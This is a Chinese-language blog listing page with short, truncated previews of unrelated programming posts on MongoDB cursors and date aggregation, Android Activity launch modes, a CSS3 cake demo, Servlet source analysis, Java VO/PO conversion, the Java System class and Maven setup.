在实践中,你通常要用美观的URL并采取有优势的HTTP动词。 例如,请求POST /users意味着访问user/create动作。 这可以很容易地通过配置urlManager应用程序组件来完成 如下所示
MongoDB查询(4)——游标和分页[八]
eksliang
mongodb MongoDB游标 MongoDB深分页
转载请出自出处:http://eksliang.iteye.com/blog/2177567 一、游标
数据库使用游标返回find的执行结果。客户端对游标的实现通常能够对最终结果进行有效控制,从shell中定义一个游标非常简单,就是将查询结果分配给一个变量(用var声明的变量就是局部变量),便创建了一个游标,如下所示:
> var
Activity的四种启动模式和onNewIntent()
gundumw100
android
Android中Activity启动模式详解
在Android中每个界面都是一个Activity,切换界面操作其实是多个不同Activity之间的实例化操作。在Android中Activity的启动模式决定了Activity的启动运行方式。
Android总Activity的启动模式分为四种:
Activity启动模式设置:
<acti
攻城狮送女友的CSS3生日蛋糕
ini
html Web html5 css css3
在线预览:http://keleyi.com/keleyi/phtml/html5/29.htm
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>攻城狮送女友的CSS3生日蛋糕-柯乐义<
读源码学Servlet(1)GenericServlet 源码分析
jzinfo
tomcat Web servlet 网络应用 网络协议
Servlet API的核心就是javax.servlet.Servlet接口,所有的Servlet 类(抽象的或者自己写的)都必须实现这个接口。在Servlet接口中定义了5个方法,其中有3个方法是由Servlet 容器在Servlet的生命周期的不同阶段来调用的特定方法。
先看javax.servlet.servlet接口源码:
package
JAVA进阶:VO(DTO)与PO(DAO)之间的转换
snoopy7713
java VO Hibernate po
PO即 Persistence Object VO即 Value Object
VO和PO的主要区别在于: VO是独立的Java Object。 PO是由Hibernate纳入其实体容器(Entity Map)的对象,它代表了与数据库中某条记录对应的Hibernate实体,PO的变化在事务提交时将反应到实际数据库中。
实际上,这个VO被用作Data Transfer
mongodb group by date 聚合查询日期 统计每天数据(信息量)
qiaolevip
每天进步一点点 学习永无止境 mongodb 纵观千象
/* 1 */
{
"_id" : ObjectId("557ac1e2153c43c320393d9d"),
"msgType" : "text",
"sendTime" : ISODate("2015-06-12T11:26:26.000Z")
java之18天 常用的类(一)
Luob.
Math Date System Runtime Rundom
System类
import java.util.Properties;
/**
* System:
* out:标准输出,默认是控制台
* in:标准输入,默认是键盘
*
* 描述系统的一些信息
* 获取系统的属性信息:Properties getProperties();
*
*
*
*/
public class Sy
maven
wuai
maven
1、安装maven:解压缩、添加M2_HOME、添加环境变量path
2、创建maven_home文件夹,创建项目mvn_ch01,在其下面建立src、pom.xml,在src下面简历main、test、main下面建立java文件夹
3、编写类,在java文件夹下面依照类的包逐层创建文件夹,将此类放入最后一级文件夹
4、进入mvn_ch01
4.1、mvn compile ,执行后会在